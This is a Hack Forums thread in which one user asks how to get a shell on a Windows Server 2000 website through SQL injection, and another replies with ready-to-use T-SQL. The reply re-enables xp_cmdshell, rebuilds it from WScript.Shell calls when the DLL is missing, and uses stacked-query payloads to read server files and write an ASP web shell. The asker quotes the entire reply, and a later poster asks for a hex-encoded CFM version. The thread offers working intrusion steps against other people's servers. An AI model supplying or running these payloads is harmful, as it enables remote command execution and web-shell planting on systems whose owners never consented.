

Forum:[Hack Forums](#)

Thread: [How to spwan a shell with SQLi \(MSSQL\) on Windows Server 2000](#)

F-Nuke - February 17, 2015, 5:03 am

Any ways to spawn a shell using SQLi (MSSQL) on a Windows Server 2000 hosted website? Any answers would be appreciated.

Thank you.

Hooded Robin - February 17, 2015, 6:22 am

You need to have a working stacked query injection or a direct connection to the db, but here you go:

Enable xp_cmdshell in MS_SQL 2000 *(use sp_configure on SQLServer 2005):
Code EXEC master..sp_addextendedproc 'xp_cmdshell', @dllname='xplog70.dll'
create xp_cmdshell function from scratch if our beloved xplog70.dll isn't available:
Code CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS
DECLARE @result int, @OLEResult int, @RunResult int
DECLARE @ShellID int
EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)
EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)
EXECUTE @OLEResult = sp_OADestroy @ShellID
return @result

(Reconfigure xp_cmdshell on 2005+ since it is disabled by default):

Code EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

Disable xp_cmdshell:

Code EXEC master..sp_dropextendedproc 'xp_cmdshell'

(Disable in 2005+):

Code EXEC sp_configure 'xp_cmdshell', 0;
EXEC sp_configure 'show advanced options', 0;
RECONFIGURE;

Also from one of Benzi's tutorials, just not sure if they work on 2000 or not:

Spoiler ([Click to View](#))

Try reading from file:

Code select line from Dbo.uftReadfileAsTable('/path/', 'filename')

or

; select dbo.ufsReadfileAsString ('/path/', 'filename');

or even maybe writing to file:

Code ; execute spWriteStringToFile '<% [code] %>', '/path/', 'filename';

PS - You can also use automated tools like SQLMAP or SQLNINJA to do this for you if you have troubles performing manually...

Good luck ?

F-Nuke - February 17, 2015, 6:39 am

(Feb 17, 2015 07:22 AM) Hooded Robin Wrote: [\[CITE\]](#) You need to have a working stacked query injection or a direct connection to the db, but here you go:

Enable xp_cmdshell in MS_SQL 2000 *(use sp_configure on SQLServer 2005):
Code EXEC master..sp_addextendedproc 'xp_cmdshell', @dllname='xplog70.dll'
create xp_cmdshell function from scratch if our beloved xplog70.dll isn't available:
Code CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS
DECLARE @result int, @OLEResult int, @RunResult int
DECLARE @ShellID int
EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)
EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)
EXECUTE @OLEResult = sp_OADestroy @ShellID
return @result

(Reconfigure xp_cmdshell on 2005+ since it is disabled by default):

Code EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;

EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

Disable xp_cmdshell:

Code EXEC master..sp_dropextendedproc 'xp_cmdshell'

(Disable in 2005+):

Code EXEC sp_configure 'xp_cmdshell', 0;
EXEC sp_configure 'show advanced options', 0;
RECONFIGURE;

Also from one of Benzi's tutorials, just not sure if they work on 2000 or not:

Spoiler ([Click to View](#))

Try reading from file:

Code select line from Dbo.uftReadfileAsTable('/path/', 'filename')
or

; select dbo.ufsReadfileAsString ('/path/', 'filename');

or even maybe writing to file:

Code ; execute spWriteStringToFile '<% [code] %>', '/path/', 'filename';

PS - You can also use automated tools like SQLMAP or SQLNINJA to do this for you if you have troubles performing manually...

Good luck ?

Thank you so much for the explanation. i think I'm going to use SQLMAP

johnperter - August 10, 2020, 10:42 pm

Hi can u share me code in cfm , need change to hex or used cast but i forgot